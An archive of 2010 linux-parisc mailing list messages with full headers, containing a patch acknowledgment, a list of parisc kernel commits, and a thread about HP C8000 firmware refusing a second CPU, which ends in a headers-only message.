Cc: kyle@mcmartin.ca, deller@gmx.de, jejb@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Phil Carmody <ext-phil.2.carmody@nokia.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 22 03:12:54 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P96Bi-0000qf-0J
	for glpp-linux-parisc@lo.gmane.org; Fri, 22 Oct 2010 03:12:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752126Ab0JVBMx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Oct 2010 21:12:53 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:36273 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751783Ab0JVBMw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Oct 2010 21:12:52 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1P96Bc-0002pL-3j; Fri, 22 Oct 2010 01:12:48 +0000
Content-Disposition: inline
In-Reply-To: <1284115679-23928-1-git-send-email-ext-phil.2.carmody@nokia.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3135 gmane.linux.kernel:1052257
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3135>

On Fri, Sep 10, 2010 at 01:47:59PM +0300, Phil Carmody wrote:
> Having many dozens of modules, the searches down the linked
> list of sections would dominate the lookup time, dwarfing
> any savings from the binary search within the section.
> 
> A simple move-to-front optimisation exploits the commonality
> of the code paths taken, and in simple real-world tests
> on other architectures reduced the number of steps in the
> search to barely more than 1.
> 

Applied, thanks.

--kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/next
Date: Fri, 22 Oct 2010 01:27:38 +0000
Lines: 85
Approved: news@gmane.org
Message-ID: <201010220127.o9M1Rcp4021152@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1287710863 4245 80.91.229.12 (22 Oct 2010 01:27:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 22 Oct 2010 01:27:43 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 22 03:27:41 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P96Q0-0003EC-HW
	for glpp-linux-parisc@lo.gmane.org; Fri, 22 Oct 2010 03:27:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751939Ab0JVB1j (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Oct 2010 21:27:39 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:46626 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751534Ab0JVB1j (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Oct 2010 21:27:39 -0400
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.4/8.14.3) with ESMTP id o9M1RcAp021153
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Fri, 22 Oct 2010 01:27:38 GMT
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.95.2 at hera.kernel.org
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.4/8.14.3/Submit) id o9M1Rcp4021152
	for linux-parisc@vger.kernel.org; Fri, 22 Oct 2010 01:27:38 GMT
User-Agent: Heirloom mailx 12.4 7/29/08
X-Spam-Status: No, score=-0.1 required=5.0 tests=ALL_TRUSTED,BAYES_00,
	DATE_IN_FUTURE_96_Q autolearn=no version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.3 (hera.kernel.org [127.0.0.1]); Fri, 22 Oct 2010 01:27:38 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3136
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3136>

New commits:
commit 650a35f868f809aade56ef960d8a465f57ac74e2
Author: Guy Martin <gmsoft@tuxicoman.be>
Date:   Mon Jun 14 19:24:41 2010 +0200

    parisc: add tty driver to PDC console
    
    This patch adds a tty driver to the PDC console. It allows the use
    of ports not supported by linux as a console (e.g. serial port on
    C8000.) The tty driver will not register the ttyB device if PDC console
    driver has been unregistered. This happens when the early printk
    console is disabled as it has not been selected as the primary console.
    
    Signed-off-by: Guy Martin <gmsoft@tuxicoman.be>
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit f8301041d7bdca3197d718518242eeba0c75352f
Author: Joe Perches <joe@perches.com>
Date:   Mon May 31 20:23:16 2010 -0700

    drivers/parisc/iosapic.c: Remove unnecessary kzalloc cast
    
    Convert kzalloc to kcalloc
    
    Signed-off-by: Joe Perches <joe@perches.com>
    Reviewed-by: Grant Grundler <grundler@parisc-linux.org>
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit b97680c419b75b0c2cf6837a9f268e2ecbaf50f6
Author: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Date:   Tue Jun 29 16:29:04 2010 +0900

    parisc: remove homegrown L1_CACHE_ALIGN macro
    
    Let's use the standard L1_CACHE_ALIGN macro instead.
    
    Signed-off-by: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit 2da83b90bbbac586fca2735f7da21966a31ec33f
Author: Christian Dietrich <qy03fugy@stud.informatik.uni-erlangen.de>
Date:   Mon Sep 6 16:36:06 2010 +0200

    arch/parisc: Removing undead ifdef CONFIG_PA20
    
    The CONFIG_PA20 ifdef isn't necessary at this point, because it is
    checked in an outer ifdef level already and has no effect here.
    
    Signed-off-by: Christian Dietrich <qy03fugy@stud.informatik.uni-erlangen.de>
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit b1b1d4a6f244eb9513f006a188f7ed30d5014de5
Author: Phil Carmody <ext-phil.2.carmody@nokia.com>
Date:   Fri Sep 10 13:47:59 2010 +0300

    parisc: unwind - optimise linked-list searches for modules
    
    Having many dozens of modules, the searches down the linked
    list of sections would dominate the lookup time, dwarfing
    any savings from the binary search within the section.
    
    A simple move-to-front optimisation exploits the commonality
    of the code paths taken, and in simple real-world tests
    on other architectures reduced the number of steps in the
    search to barely more than 1.
    
    Signed-off-by: Phil Carmody <ext-phil.2.carmody@nokia.com>
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

commit f720817700de48a57f54535a5dd9783cca2d2d6b
Author: matt mooney <mfm@muteddisk.com>
Date:   Wed Sep 22 23:51:05 2010 -0700

    parisc: change to new flag variable
    
    Replace EXTRA_CFLAGS with ccflags-y.
    
    Signed-off-by: matt mooney <mfm@muteddisk.com>
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: C8000 cpu upgrade problem
Date: Fri, 22 Oct 2010 16:07:17 +0200 (CEST)
Lines: 25
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1287758055 27474 80.91.229.12 (22 Oct 2010 14:34:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 22 Oct 2010 14:34:15 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 22 16:34:14 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9IhB-0000nu-52
	for glpp-linux-parisc@lo.gmane.org; Fri, 22 Oct 2010 16:34:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757297Ab0JVOeI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Oct 2010 10:34:08 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:34697 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757285Ab0JVOeI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Oct 2010 10:34:08 -0400
X-Greylist: delayed 1608 seconds by postgrey-1.27 at vger.kernel.org; Fri, 22 Oct 2010 10:34:07 EDT
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id 2DA8598138; Fri, 22 Oct 2010 16:07:17 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 2BC11980B1
	for <linux-parisc@vger.kernel.org>; Fri, 22 Oct 2010 16:07:17 +0200 (CEST)
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3137
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3137>

Hi

I have a C8000 workstation with one PA8800 900MHz CPU (the motherboard has 
two sockets), I installed Linux via serial console on it and it seems to 
be running quite fine (I had to plug a PCI serial card because Linux 
doesn't recognize the on-board serial ports or videocard).

When I inserted anober PA8800 900MHz CPU (taken from another workstation) 
to the second socket on the motherboard, the boot firmware writes a 
warning "Too many CPUs for this system.", drops into the boot menu and 
refuses to load an operating system.

Do you have some idea how to solve it? I.e. switch something in the 
firmware, load new firmware (I have FW 2.13 BMC 02.32), or get some tool 
from HP that can allow the second processor on this workstation?

(note, this is not Linux kernel problem at all because the firmware 
doesn't even start Linux)

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 cpu upgrade problem
Date: Fri, 22 Oct 2010 14:09:26 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <AANLkTi=YJJgP-tDhh2g6D8d8BkKa-ENoJankd-ZMV+i2@mail.gmail.com>
References: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1287770974 26293 80.91.229.12 (22 Oct 2010 18:09:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 22 Oct 2010 18:09:34 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 22 20:09:33 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9M3Z-00079j-1f
	for glpp-linux-parisc@lo.gmane.org; Fri, 22 Oct 2010 20:09:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756119Ab0JVSJc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Oct 2010 14:09:32 -0400
Original-Received: from mail-gy0-f174.google.com ([209.85.160.174]:51828 "EHLO
	mail-gy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755849Ab0JVSJb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Oct 2010 14:09:31 -0400
Original-Received: by gyg4 with SMTP id 4so861726gyg.19
        for <linux-parisc@vger.kernel.org>; Fri, 22 Oct 2010 11:09:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type;
        bh=/15o0gYLCE1WkM+PAJceWxGsxl7oj5bpJzRZVl+gRhw=;
        b=OdidBvW90vSsTXgmmP5/LogFib5tAJXC2ioJYZTMpXVs502a6WVBVa3n4/v3Nbdv1F
         9prNHPMuRlcR0IgcS8Z106+dbUt6gWBHuiKP5OMNCDO/ODLlYM4rEWZ4x+99zPXlj4xc
         0JDbg71o0+BIqckEWISsLwUrjsNUo9iedBV9A=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=AWLSn+dvkWOuewGKcKNF5Ezij4rZodD81+0w3P3Xz/oUQe1JH0xxPhV6qE1pYlmczf
         arzahbsLotQ/PFSQqdVyjzHo7bb7v7xw9jfxPRAfOWGXMn4dOz7Llu2dyanKIhyl3RUM
         OeO/v0OFgSct0RzL/1iCNTqGfy6UxVprh8gds=
Original-Received: by 10.239.175.143 with SMTP id n15mr1144369hbf.134.1287770966999;
 Fri, 22 Oct 2010 11:09:26 -0700 (PDT)
Original-Received: by 10.239.151.197 with HTTP; Fri, 22 Oct 2010 11:09:26 -0700 (PDT)
In-Reply-To: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz>
X-Google-Sender-Auth: hkm1-BN-7VoRMf2FkJLLwDfnrwo
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3138
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3138>

On Fri, Oct 22, 2010 at 10:07 AM, Mikulas Patocka
<mikulas@artax.karlin.mff.cuni.cz> wrote:
> I have a C8000 workstation with one PA8800 900MHz CPU (the motherboard has
> two sockets), I installed Linux via serial console on it and it seems to
> be running quite fine (I had to plug a PCI serial card because Linux
> doesn't recognize the on-board serial ports or videocard).
>
> When I inserted anober PA8800 900MHz CPU (taken from another workstation)
> to the second socket on the motherboard, the boot firmware writes a
> warning "Too many CPUs for this system.", drops into the boot menu and
> refuses to load an operating system.
>
> Do you have some idea how to solve it? I.e. switch something in the
> firmware, load new firmware (I have FW 2.13 BMC 02.32), or get some tool
> from HP that can allow the second processor on this workstation?
>
> (note, this is not Linux kernel problem at all because the firmware
> doesn't even start Linux)

AFAIK you can't add a second CPU without an HP technician enabling the
firmware for a second CPU.

The same goes for enabling additional PCI slots.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 cpu upgrade problem
Date: Sat, 23 Oct 2010 11:21:47 +0200 (CEST)
Lines: 41
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010231118350.23687@artax.karlin.mff.cuni.cz>
References: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz> <AANLkTi=YJJgP-tDhh2g6D8d8BkKa-ENoJankd-ZMV+i2@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1287825713 14504 80.91.229.12 (23 Oct 2010 09:21:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Oct 2010 09:21:53 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 23 11:21:51 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9aIP-0006nn-UJ
	for glpp-linux-parisc@lo.gmane.org; Sat, 23 Oct 2010 11:21:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752119Ab0JWJVt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 05:21:49 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:40405 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751858Ab0JWJVt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 05:21:49 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id E000F98065; Sat, 23 Oct 2010 11:21:47 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id DA1C198064;
	Sat, 23 Oct 2010 11:21:47 +0200 (CEST)
In-Reply-To: <AANLkTi=YJJgP-tDhh2g6D8d8BkKa-ENoJankd-ZMV+i2@mail.gmail.com>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3139
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3139>

On Fri, 22 Oct 2010, Carlos O'Donell wrote:

> On Fri, Oct 22, 2010 at 10:07 AM, Mikulas Patocka
> <mikulas@artax.karlin.mff.cuni.cz> wrote:
> > I have a C8000 workstation with one PA8800 900MHz CPU (the motherboard has
> > two sockets), I installed Linux via serial console on it and it seems to
> > be running quite fine (I had to plug a PCI serial card because Linux
> > doesn't recognize the on-board serial ports or videocard).
> >
> > When I inserted anober PA8800 900MHz CPU (taken from another workstation)
> > to the second socket on the motherboard, the boot firmware writes a
> > warning "Too many CPUs for this system.", drops into the boot menu and
> > refuses to load an operating system.
> >
> > Do you have some idea how to solve it? I.e. switch something in the
> > firmware, load new firmware (I have FW 2.13 BMC 02.32), or get some tool
> > from HP that can allow the second processor on this workstation?
> >
> > (note, this is not Linux kernel problem at all because the firmware
> > doesn't even start Linux)
> 
> AFAIK you can't add a second CPU without an HP technician enabling the
> firmware for a second CPU.
> 
> The same goes for enabling additional PCI slots.
> 
> Cheers,
> Carlos.

And is there some hack that enables it?

It looks quite dishonest to me when the machine is advertised as capable 
of two dual-core CPUs, 32GB RAM, 4 PCI-X slots ... and you get this 
advertised capability only if you buy expensive support contract :-(

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 cpu upgrade problem
Date: Sat, 23 Oct 2010 07:22:40 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <AANLkTikD5cvJdAxUg7zj0ySM9z6fThE-9H9txVpNC9Ez@mail.gmail.com>
References: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz>
	<AANLkTi=YJJgP-tDhh2g6D8d8BkKa-ENoJankd-ZMV+i2@mail.gmail.com>
	<alpine.DEB.1.10.1010231118350.23687@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1287832972 7123 80.91.229.12 (23 Oct 2010 11:22:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Oct 2010 11:22:52 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 23 13:22:50 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9cBW-0000mJ-3Y
	for glpp-linux-parisc@lo.gmane.org; Sat, 23 Oct 2010 13:22:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753676Ab0JWLWm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 07:22:42 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:48356 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752606Ab0JWLWl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 07:22:41 -0400
Original-Received: by fxm16 with SMTP id 16so1427694fxm.19
        for <linux-parisc@vger.kernel.org>; Sat, 23 Oct 2010 04:22:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type;
        bh=fiyRGUT5N2/BaP7t8SleUCu0SxwWQCr8pwGILjdhqvw=;
        b=bu4HTxwHem7zrtCARb8Q9SX3+aQSClBoGSKNpWFm6e7CQL4w/YS4+b4/iTo4AzJrdw
         bo0kUgQuU36S2CqITUC3abNJJ4AWN5SL/LPeXjMUKhSZxLeDNcHaAEp88uR8dNzwLLYw
         FKNRhcj1OFcnS/SUQzlXqvmKElOPDTWGHzjjQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=cCs3bjFLxovJMZ6QBdul7BIbuyYkSD9YxbruVMMLlZK/W3LP8nDV1fiNUcCPtJwi7/
         1yWUx8fglPLWsuYLprFLqh2EV3pWv/hZAA8C91nzRY9KtDmVViyGLC4QI5A0UQBdvo1B
         n4IIubwG0jDCCINmXWM9/LRwNoQv8ms/2lusY=
Original-Received: by 10.239.185.206 with SMTP id d14mr1287843hbh.34.1287832960473;
 Sat, 23 Oct 2010 04:22:40 -0700 (PDT)
Original-Received: by 10.239.151.197 with HTTP; Sat, 23 Oct 2010 04:22:40 -0700 (PDT)
In-Reply-To: <alpine.DEB.1.10.1010231118350.23687@artax.karlin.mff.cuni.cz>
X-Google-Sender-Auth: 4qSq-tN6a7jCMGJWLjQ5F7RQsFM
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3140
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3140>

On Sat, Oct 23, 2010 at 5:21 AM, Mikulas Patocka
<mikulas@artax.karlin.mff.cuni.cz> wrote:
> On Fri, 22 Oct 2010, Carlos O'Donell wrote:
>> AFAIK you can't add a second CPU without an HP technician enabling the
>> firmware for a second CPU.
>>
>> The same goes for enabling additional PCI slots.
>>
>> Cheers,
>> Carlos.
>
> And is there some hack that enables it?
>
> It looks quite dishonest to me when the machine is advertised as capable
> of two dual-core CPUs, 32GB RAM, 4 PCI-X slots ... and you get this
> advertised capability only if you buy expensive support contract :-(

I know of no hack.

It is not dishonest, the original purchase contract for the machine
probably said "1 active CPU slot" and "1 active PCI-X slot."

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: False advertising (was: C8000 cpu upgrade problem)
Date: Sat, 23 Oct 2010 16:46:45 +0200 (CEST)
Lines: 57
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010231620190.12135@artax.karlin.mff.cuni.cz>
References: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz> <AANLkTi=YJJgP-tDhh2g6D8d8BkKa-ENoJankd-ZMV+i2@mail.gmail.com> <alpine.DEB.1.10.1010231118350.23687@artax.karlin.mff.cuni.cz>
 <AANLkTikD5cvJdAxUg7zj0ySM9z6fThE-9H9txVpNC9Ez@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1287845216 17830 80.91.229.12 (23 Oct 2010 14:46:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Oct 2010 14:46:56 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 23 16:46:53 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9fMu-00017b-VS
	for glpp-linux-parisc@lo.gmane.org; Sat, 23 Oct 2010 16:46:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757199Ab0JWOqs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 10:46:48 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:57261 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757164Ab0JWOqr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 10:46:47 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id 086CF9813D; Sat, 23 Oct 2010 16:46:46 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id F3CD9980F7;
	Sat, 23 Oct 2010 16:46:45 +0200 (CEST)
